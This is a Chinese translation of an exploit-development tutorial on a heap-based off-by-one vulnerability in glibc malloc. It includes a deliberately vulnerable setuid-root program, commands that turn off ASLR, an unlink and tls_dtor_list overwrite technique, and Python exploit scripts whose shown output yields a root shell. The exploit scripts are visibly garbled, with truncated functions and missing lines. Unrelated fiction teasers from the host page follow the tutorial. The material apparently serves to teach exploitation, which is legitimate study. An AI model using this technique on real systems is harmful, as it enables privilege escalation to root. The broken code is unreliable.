Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)

Off-By-One 漏洞(基于堆)

译者:飞龙

原文:Off-By-One Vulnerability (Heap Based)

预备条件:

  1. Off-By-One 漏洞(基于栈)
  2. 理解 glibc malloc

VM 配置:Fedora 20(x86)

什么是 Off-By-One 漏洞?

这篇文章中提到过,将源字符串复制到目标缓冲区可能造成 Off-By-One 漏洞,当源字符串的长度等于目标缓冲区长度的时候。

当源字符串的长度等于目标缓冲区长度的时候,单个 NULL 字符会复制到目标缓冲区的上方。因此由于目标缓冲区位于堆上,单个 NULL 字节会覆盖下一个块的块头部,并且这会导致任意代码执行。

回顾:在这篇文章中提到,在每个用户请求堆内存时,堆段被划分为多个块。每个块有自己的块头部(由malloc_chunk表示)。malloc_chunk结构包含下面四个元素:

  1. prev_size -- 如果前一个块空闲,这个字段包含前一个块的大小。否则前一个块是分配的,这个字段包含前一个块的用户数据。

  2. size:这个字符包含分配块的大小。字段的最后三位包含标志信息。

    • PREV_INUSE (P)如果前一个块已分配,会设置这个位。
    • IS_MMAPPED (M)当块是 mmap 块时,会设置这个位。
    • NON_MAIN_ARENA (N)当这个块属于线程 arena 时,会设置这个位。
  3. fd指向相同 bin 的下一个块。

  4. bk指向相同 bin 的上一个块。

漏洞代码:

//consolidate_forward.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define SIZE 16

int main(int argc, char* argv[])
{

 int fd = open("./inp_file", O_RDONLY); /* [1] */
 if(fd == -1) {
 printf("File open error\n");
 fflush(stdout);
 exit(-1);
 }

 if(strlen(argv[1])>1020) { /* [2] */
 printf("Buffer Overflow Attempt. Exiting...\n");
 exit(-2);
 }

 char* tmp = malloc(20-4); /* [3] */
 char* p = malloc(1024-4); /* [4] */
 char* p2 = malloc(1024-4); /* [5] */
 char* p3 = malloc(1024-4); /* [6] */

 read(fd,tmp,SIZE); /* [7] */
 strcpy(p2,argv[1]); /* [8] */

 free(p); /* [9] */
}

编译命令:

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward

注意:

出于我们的演示目的,关闭了 ASLR。如果你也想要绕过 ASLR,使用信息泄露 bug,或者爆破机制,在这篇文章中描述。

上述漏洞代码的行[2][8]是基于堆的 off-by-one 溢出发生的地方。目标缓冲区的长度是 1020,因此长度为 1020 的源字符串可能导致任意代码执行。

任意代码执行如何实现?

任意代码执行,当单个 NULL 字节覆盖下一个块(p3)的块头部时实现。当大小为 1020 字节(p2)的块由单个字节溢出时,下一个块(p3)的头部中的size的最低字节会被 NULL 字节覆盖,并不是prev_size的最低字节。

为什么size的 LSB 会被覆盖,而不是prev_size

checked_request2size将用户请求的大小转换为可用大小(内部表示的大小),因为需要一些额外空间来储存malloc_chunk,并且也出于对齐目的。转换实现的方式是,可用大小的三个最低位始终不会为零(也就是 8 的倍数,译者注),所以可以用于放置标志信息 P、M 和 N。

因此当我们的漏洞代码执行malloc(1020)时,用户请求大小 1020 字节会转换为((1020 + 4 + 7) & ~7)字节(内部表示大小)。1020 字节的分配块的富余量仅仅是 4 个字节。但是对于任何分配块,我们需要 8 字节的块头部,以便储存prev_sizesize信息。因此 1024 字节的前八字节会用于块头部,但是现在我们只剩下 1016(1024 - 8)字节用于用户数据,而不是 1020 字节。但是像上面prev_size定义中所述,如果上一个块(p2)已分配,块(p3)的prev_size字段包含用户数据。因此块p3prev_size位于这个 1024 字节的分配块p2后面,并包含剩余 4 字节的用户数据。这就是size的 LSB 被单个 NULL 字节覆盖,而不是prev_size的原因。

堆布局

1

注意:上述图片中的攻击者数据会在下面的“覆盖tls_dtor_list”一节中解释。

现在回到我们原始的问题。

任意代码执行如何实现?

现在我们知道了,在 off-by-one 漏洞中,单个 NULL 字节会覆盖下一个块(p3size字段的 LSB。这单个 NULL 字节的溢出意味着这个块(p3)的标志信息被清空,也就是被溢出块(p2)变成空闲块,虽然它处于分配状态。当被溢出块(p2)的标志 P 被清空,这个不一致的状态让 glibc 代码 unlink 这个块(p2),它已经在分配状态。

这篇文章中我们看到,unlink 一个已经处于分配状态的块,会导致任意代码执行,因为任何四个字节的内存区域都能被攻击者的数据覆盖。但是在同一篇文章中,我们也看到,unlink 技巧已经废弃,因为 glibc 近几年来变得更加可靠。具体来说,因为“双向链表损坏”的条件,任意代码执行时不可能的。

但是在 2014 年末,Google 的 Project Zero 小组找到了一种方式,来成功绕过“双向链表损坏”的条件,通过 unlink large 块。

unlink:

#define unlink(P, BK, FD) { 
  FD = P->fd; 
  BK = P->bk;
  // Primary circular double linked list hardening - Run time check
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */
   malloc_printerr (check_action, "corrupted double-linked list", P); 
  else { 
   // If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
   FD->bk = BK; /* [2] */
   BK->fd = FD; /* [3] */
   if (!in_smallbin_range (P->size) 
   && __builtin_expect (P->fd_nextsize != NULL, 0)) { 
    // Secondary circular double linked list hardening - Debug assert
    assert (P->fd_nextsize->bk_nextsize == P);  /* [4] */
        assert (P->bk_nextsize->fd_nextsize == P); /* [5] */
    if (FD->fd_nextsize == NULL) { 
     if (P->fd_nextsize == P) 
      FD->fd_nextsize = FD->bk_nextsize = FD; 
     else { 
      FD->fd_nextsize = P->fd_nextsize; 
      FD->bk_nextsize = P->bk_nextsize; 
      P->fd_nextsize->bk_nextsize = FD; 
      P->bk_nextsize->fd_nextsize = FD; 
     } 
    } else { 
     // If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
     P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */
     P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */
    } 
   } 
  } 
}

在 glibc malloc 中,主要的环形双向链表由malloc_chunkfdbk字段维护,而次要的环形双向链表由malloc_chunkfd_nextsizebk_nextsize字段维护。双向链表的加固看起来用在主要(行[1])和次要(行[4][5])的双向链表上,但是次要的环形双向链表的加固,只是个调试断言语句(不像主要双向链表加固那样,是运行时检查),它在生产构建中没有被编译(至少在 fedora x86 中)。因此,次要的环形双向链表的加固(行[4][5])并不重要,这让我们能够向任意 4 个字节的内存区域写入任何数据(行[6][7])。

然而还有一些东西应该解释,所以让我们更详细地看看,unlink large 块如何导致任意代码执行。由于攻击者已经控制了 -- 要被释放的 large 块,它覆盖了malloc_chunk元素,像这样:

  • fd应该指向被释放的块,来绕过主要环形双向链表的加固。
  • bk也应该指向被释放的块,来绕过主要环形双向链表的加固。
  • fd_nextsize应该指向free_got_addr – 0x14
  • bk_nextsize应该指向system_addr

但是根据行[6][7],需要让fd_nextsizebk_nextsize都是可写的。fd_nextsize是可写的,(因为它指向了free_got_addr – 0x14),但是bk_nextsize不是可写的,因为他指向了system_addr,它属于libc.so的文本段。让fd_nextsizebk_nextsize都可写的问题,可以通过覆盖tls_dtor_list来解决。

覆盖tls_dtor_list

tls_dtor_list是个线程局部的变量,它包含函数指针的列表,它们在exit过程中调用。__call_tls_dtors遍历tls_dtor_list并依次调用函数。因此如果我们可以将tls_dtor_list覆盖为堆地址,它包含systemsystem_arg,来替代dtor_listfuncobj,我们就能调用system

2

所以现在攻击者需要覆盖要被释放的 large 块的malloc_chunk元素,像这样:

  • fd应该指向被释放的块,来绕过主要环形双向链表的加固。
  • bk也应该指向被释放的块,来绕过主要环形双向链表的加固。
  • fd_nextsize应该指向tls_dtor_list - 0x14
  • bk_nextsize应该指向含有dtor_list元素的堆地址。

fd_nextsize可写的问题解决了,因为tls_dtor_list属于libc.so的可写区段,并且通过反汇编_call_tls_dtors()tls_dtor_list的地址为0xb7fe86d4

bk_nextsize可写的问题也解决了,因为它指向堆地址。

使用所有这些信息,让我们编写利用程序来攻击漏洞二进制的“前向合并”。

利用代码:

#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import call

fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
def conv(num):
 return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996

print "Calling vulnerable program"
call(["./consolidate_forward", buf])

执行上述利用代码不会向我们提供 root shell。它向我们提供了一个运行在我们的权限级别的 bash shell。嗯...

$ python -c 'print "A"*16' > inp_file
$ python exp_try.py 
Calling vulnerable program
sh-4.2$ id
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ exit
exit
$

为什么不能获得 root shell?

uid != euid时,/bin/bash会丢弃权限。我们的二进制“前向合并”的真实 uid 是 1000,但是它的有效 uid 是 0。因此当system调用时,bash 会丢弃权限,因为真实 uid 不等于有效 uid。为了解决这个问题,我们需要在system之前调用setuid(0),因为_call_tls_dtors()依次遍历tls_dtor_list,我们需要将setuidsystem链接,以便获得 root shell。

完整的利用代码:

#gen_file.py
#!/usr/bin/env python
import struct

#dtor_list
setuid = 0x4e123e30
setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430

#endianess convertion
def conv(num):
 return struct.pack("<I",num(setuid)
tst += conv(setuid_arg)
tst += conv(mp)
tst += conv(nxt)

print tst
-----------------------------------------------------------------------------------------------------------------------------------
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
def conv(num):
 return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996

print "Calling vulnerable program"
call(["./consolidate_forward", buf])

执行上述利用代码会给我们 root shell。

$ python gen_file.py > inp_file
$ python exp.py 
Calling vulnerable program
sh-4.2# id
uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
exit
$

我们的 off-by-one 漏洞代码会向前合并块,也可以向后合并。这种向后合并 off-by-one 漏洞代码也可以利用。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,445评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,889评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,047评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,760评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,745评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,638评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,011评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,669评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,923评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,655评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,740评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,406评论 4 320
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,995评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,961评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,023评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,483评论 2 342

推荐阅读更多精彩内容